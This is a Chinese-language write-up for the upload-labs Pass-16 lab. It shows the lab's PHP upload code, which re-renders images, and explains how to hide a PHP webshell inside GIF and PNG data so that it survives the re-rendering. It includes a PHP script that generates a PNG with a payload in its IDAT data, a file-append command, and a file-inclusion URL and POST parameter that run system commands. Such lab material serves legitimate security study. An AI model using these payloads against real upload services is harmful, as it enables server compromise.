1. 程式人生 > 實用技巧 >upload-labs Pass-16(二次渲染)

upload-labs Pass-16(二次渲染)

原始碼

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 獲得上傳檔案的基本資訊,檔名,型別,大小,臨時檔案路徑
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=$UPLOAD_ADDR.basename($filename);

    
// 獲得上傳檔案的副檔名 $fileext= substr(strrchr($filename,"."),1); //判斷檔案字尾與型別,合法才進行上傳操作 if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)) { //使用上傳的圖片生成新的圖片 $im = imagecreatefromjpeg($target_path);
if($im == false){ $msg = "該檔案不是jpg格式的圖片!"; }else{ //給新圖片指定檔名 srand(time()); $newfilename = strval(rand()).".jpg"; $newimagepath = $UPLOAD_ADDR.$newfilename; imagejpeg($im,$newimagepath);
//顯示二次渲染後的圖片(使用使用者上傳圖片生成的新圖片) $img_path = $UPLOAD_ADDR.$newfilename; unlink($target_path); $is_upload = true; } } else { $msg = "上傳失敗!"; } }else if(($fileext == "png") && ($filetype=="image/png")){ if(move_uploaded_file($tmpname,$target_path)) { //使用上傳的圖片生成新的圖片 $im = imagecreatefrompng($target_path); if($im == false){ $msg = "該檔案不是png格式的圖片!"; }else{ //給新圖片指定檔名 srand(time()); $newfilename = strval(rand()).".png"; $newimagepath = $UPLOAD_ADDR.$newfilename; imagepng($im,$newimagepath); //顯示二次渲染後的圖片(使用使用者上傳圖片生成的新圖片) $img_path = $UPLOAD_ADDR.$newfilename; unlink($target_path); $is_upload = true; } } else { $msg = "上傳失敗!"; } }else if(($fileext == "gif") && ($filetype=="image/gif")){ if(move_uploaded_file($tmpname,$target_path)) { //使用上傳的圖片生成新的圖片 $im = imagecreatefromgif($target_path); if($im == false){ $msg = "該檔案不是gif格式的圖片!"; }else{ //給新圖片指定檔名 srand(time()); $newfilename = strval(rand()).".gif"; $newimagepath = $UPLOAD_ADDR.$newfilename; imagegif($im,$newimagepath); //顯示二次渲染後的圖片(使用使用者上傳圖片生成的新圖片) $img_path = $UPLOAD_ADDR.$newfilename; unlink($target_path); $is_upload = true; } } else { $msg = "上傳失敗!"; } }else{ $msg = "只允許上傳字尾為.jpg|.png|.gif的圖片檔案!"; } }

原理:將一個正常顯示的圖片,上傳到伺服器。尋找圖片被渲染後與原始圖片部分對比仍然相同的資料塊部分,將Webshell程式碼插在該部分,然後上傳。

GIF

先準備了一個gif檔案用hxd開啟,末尾加了一句話。也可以用cmd命令

copy picture.gif /b + phpinfo.php /a 111.gif

  

然後上傳。

然後下載上傳後的檔案,拖到hxd檢視,發現一句話已經沒了,將這兩張對比

很容易發現相同的地方,將一句話寫到相同的地方,儲存,上傳

將上傳後的再次拖到hxd,程式碼依舊存在,繞過成功

PNG

png檔案組成

png圖片由3個以上的資料塊組成。

PNG定義了兩種型別的資料塊,一種是稱為關鍵資料塊(critical chunk),這是標準的資料塊,另一種叫做輔助資料塊(ancillary chunks),這是可選的資料塊。關鍵資料塊定義了3個標準資料塊(IHDR,IDAT, IEND),每個PNG檔案都必須包含它們。

PLTE

調色盤PLTE資料塊是輔助資料塊,對於索引影象,調色盤資訊是必須的,調色盤的顏色索引從0開始編號,然後是1、2……,調色盤的顏色數不能超過色深中規定的顏色數(如影象色深為4的時候,調色盤中的顏色數不可以超過2^4=16),否則,這將導致PNG影象不合法。

IDAT

影象資料塊IDAT(image data chunk):它儲存實際的資料,在資料流中可包含多個連續順序的影象資料塊。

IDAT存放著影象真正的資料資訊,因此,如果能夠了解IDAT的結構,我們就可以很方便的生成PNG影象

IEND

影象結束資料IEND(image trailer chunk):它用來標記PNG檔案或者資料流已經結束,並且必須要放在檔案的尾部。

如果我們仔細觀察PNG檔案,我們會發現,檔案的結尾12個字元看起來總應該是這樣的:

00 00 00 00 49 45 4E 44 AE 42 60 82

第一種方法:寫入PLTE資料塊

php底層在對PLTE資料塊驗證的時候,主要進行了CRC校驗.所以可以再chunk data域插入php程式碼,然後重新計算相應的crc值並修改即可。

這種方式只針對索引彩色影象的png圖片才有效,在選取png圖片時可根據IHDR資料塊的color type辨別.03為索引彩色影象。

因為PLTE是輔助模組,找不到,所以這個方法不用了。

第二種方法:寫入IDAT資料塊

這裡有國外大牛寫的指令碼,直接拿來執行即可。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

  

我們來看一下這個馬

用檔案包含漏洞訪問

http://127.0.0.1/?0=system&file=./upload/222.png

POST執行命令

1=ls